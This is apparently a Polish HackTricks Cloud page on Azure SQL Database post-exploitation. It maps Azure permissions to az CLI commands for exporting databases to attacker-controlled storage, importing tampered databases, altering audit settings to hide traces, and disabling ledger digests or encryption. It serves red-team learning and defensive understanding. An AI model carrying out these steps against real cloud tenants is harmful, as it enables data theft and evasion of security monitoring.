Az - SQL Database Post Exploitation
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
SQL Database Post Exploitation
Aby uzyskać więcej informacji na temat SQL Database, sprawdź:
Microsoft.Sql/servers/databases/read, Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write
Dzięki tym uprawnieniom, atakujący może tworzyć i aktualizować bazy danych w skompromitowanym środowisku. Ta aktywność poeksploatacyjna może pozwolić atakującemu na dodanie złośliwych danych, modyfikację konfiguracji bazy danych lub wstawienie tylnej furtki dla dalszej persystencji, co potencjalnie może zakłócić operacje lub umożliwić dodatkowe złośliwe działania.
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
Z tymi uprawnieniami (Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write) możesz przywrócić usuniętą bazę danych:
az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"
Microsoft.Sql/servers/elasticPools/write && Microsoft.Sql/servers/elasticPools/read
Dzięki tym uprawnieniom, atakujący może tworzyć i aktualizować elasticPools w skompromitowanym środowisku. Ta aktywność poeksploatacyjna może pozwolić atakującemu na dodanie złośliwych danych, modyfikację konfiguracji bazy danych lub wstawienie tylnej furtki dla dalszej persystencji, co potencjalnie może zakłócić operacje lub umożliwić dodatkowe złośliwe działania.
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>
# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>
Microsoft.Sql/servers/auditingSettings/read && Microsoft.Sql/servers/auditingSettings/write
Dzięki temu uprawnieniu możesz modyfikować lub włączać ustawienia audytu na serwerze Azure SQL. Może to pozwolić atakującemu lub uprawnionemu użytkownikowi na manipulację konfiguracjami audytu, potencjalnie ukrywając ślady lub przekierowując dzienniki audytu do lokalizacji pod ich kontrolą. Może to utrudnić monitorowanie bezpieczeństwa lub umożliwić śledzenie działań. UWAGA: Aby włączyć audyt dla serwera Azure SQL przy użyciu Blob Storage, musisz podłączyć konto magazynowe, w którym mogą być zapisywane dzienniki audytu.
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7
Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read, Microsoft.Sql/servers/connectionPolicies/read && Microsoft.Sql/servers/connectionPolicies/write
Dzięki temu uprawnieniu możesz modyfikować polityki połączeń serwera Azure SQL. Ta funkcjonalność może być wykorzystana do włączenia lub zmiany ustawień połączeń na poziomie serwera.
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
Microsoft.Sql/servers/databases/export/action
Dzięki temu uprawnieniu możesz eksportować bazę danych z serwera Azure SQL do konta magazynowego. Atakujący lub uprawniony użytkownik z tym uprawnieniem może wyeksportować wrażliwe dane z bazy danych do lokalizacji, którą kontroluje, co stanowi istotne ryzyko naruszenia danych. Ważne jest, aby znać klucz magazynu, aby móc to wykonać.
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>
Microsoft.Sql/servers/databases/import/action
Dzięki temu uprawnieniu możesz zaimportować bazę danych do Azure SQL Server. Atakujący lub uprawniony użytkownik z tym uprawnieniem może potencjalnie przesłać złośliwe lub zmanipulowane bazy danych. Może to prowadzić do przejęcia kontroli nad wrażliwymi danymi lub poprzez osadzenie szkodliwych skryptów lub wyzwalaczy w zaimportowanej bazie danych. Dodatkowo możesz zaimportować ją na własny serwer w Azure. Uwaga: Serwer musi zezwalać na dostęp usług i zasobów Azure do serwera.
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
Microsoft.Sql/servers/connectionPolicies/write && Microsoft.Sql/servers/connectionPolicies/read
Dzięki tym uprawnieniom użytkownik może modyfikować i pobierać polityki połączeń serwera Azure SQL. Te uprawnienia pozwalają na zmianę sposobu, w jaki klienci łączą się z serwerem — wybierając między metodami takimi jak przekierowanie lub proxy — co może być wykorzystane do osłabienia bezpieczeństwa, przekierowania ruchu lub przechwytywania wrażliwych danych w przypadku błędnej konfiguracji.
az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>
Microsoft.Sql/servers/keys/write && Microsoft.Sql/servers/keys/read
Dzięki tym uprawnieniom użytkownik może aktualizować i pobierać klucze szyfrowania związane z Azure SQL Server. Klucze te są często używane do zabezpieczania wrażliwych danych poprzez szyfrowanie, więc manipulowanie nimi może narazić bezpieczeństwo danych, umożliwiając nieautoryzowane odszyfrowanie lub zmiany rotacji kluczy.
az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef
Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read, Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read
To uprawnienie pozwala na wyłączenie Ledger Digest dla bazy danych Azure SQL, co zatrzymuje okresowe przesyłanie rekordów skrótów kryptograficznych do Azure Blob Storage, które weryfikują integralność danych.
az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server
Microsoft.Sql/servers/databases/transparentDataEncryption/write, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read, Microsoft.Sql/servers/databases/transparentDataEncryption/read
To uprawnienie pozwala autoryzowanemu użytkownikowi lub atakującemu na włączenie, wyłączenie lub modyfikację ustawień Transparent Data Encryption (TDE) w bazie danych Azure SQL, co może wpłynąć na bezpieczeństwo danych poprzez zmianę konfiguracji szyfrowania.
az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

